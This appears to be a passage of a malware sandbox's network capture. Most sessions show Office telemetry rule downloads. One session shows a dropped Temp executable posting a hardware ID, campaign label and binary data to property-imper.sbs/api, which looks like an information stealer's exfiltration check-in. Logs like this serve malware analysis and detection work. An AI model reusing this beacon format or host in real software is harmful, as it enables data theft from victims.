2024-11-23 19:23:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192325Z-15b8b599d88wk8w4hC1TEB14b800000003e00000000078cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192324Z-174c587ffdf4zw2thC1TEBu34000000003b000000000ppfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192324Z-15b8b599d88m7pn7hC1TEB4axw00000003cg00000000bd4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192324Z-15b8b599d88s6mj9hC1TEBur30000000034g00000000e5tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192325Z-178bfbc474bpscmfhC1NYCfc2c00000003c000000000muq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49808	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=156UUAU2XQLH4IYN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: property-imper.sbs
2024-11-23 19:23:26 UTC	15331	OUT	Data Raw: 2d 2d 31 35 36 55 55 41 55 32 58 51 4c 48 34 49 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 35 36 55 55 41 55 32 58 51 4c 48 34 49 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 35 36 55 55 41 55 32 58 51 4c 48 34 49 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --156UUAU2XQLH4IYNContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--156UUAU2XQLH4IYNContent-Disposition: form-data; name="pid"3--156UUAU2XQLH4IYNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 19:23:26 UTC	5100	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-23 19:23:27 UTC	1028	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uarv41leigl0oginnvjcuasuho; expires=Wed, 19-Mar-2025 13:10:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gy2m2%2Fo%2F%2Bs%2BnjK58voFwwN82W7jozISrZFhrYjUbQcL5xdHDjJaeZEaGiB%2BBviRrBddIqGL5sCUFhG%2FCs6bzMmu2fm%2BB2GLeLC%2BLsQ9gcTT0izseBojPHZFZFiuAifachFo4Jew%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388a6792342af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21393&delivery_rate=1710603&cwnd=177&unsent_bytes=0&cid=4ef81e826a46b532&ts=1069&x=0"
2024-11-23 19:23:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192327Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000cu4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192327Z-178bfbc474bpscmfhC1NYCfc2c00000003bg00000000q856 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:26 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192327Z-174c587ffdfn4nhwhC1TEB2nbc00000003d000000000exy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192327Z-174c587ffdf8fcgwhC1TEBnn7000000003m0000000003x7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192328Z-178bfbc474b9fdhphC1NYCac0n00000004v000000000881d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
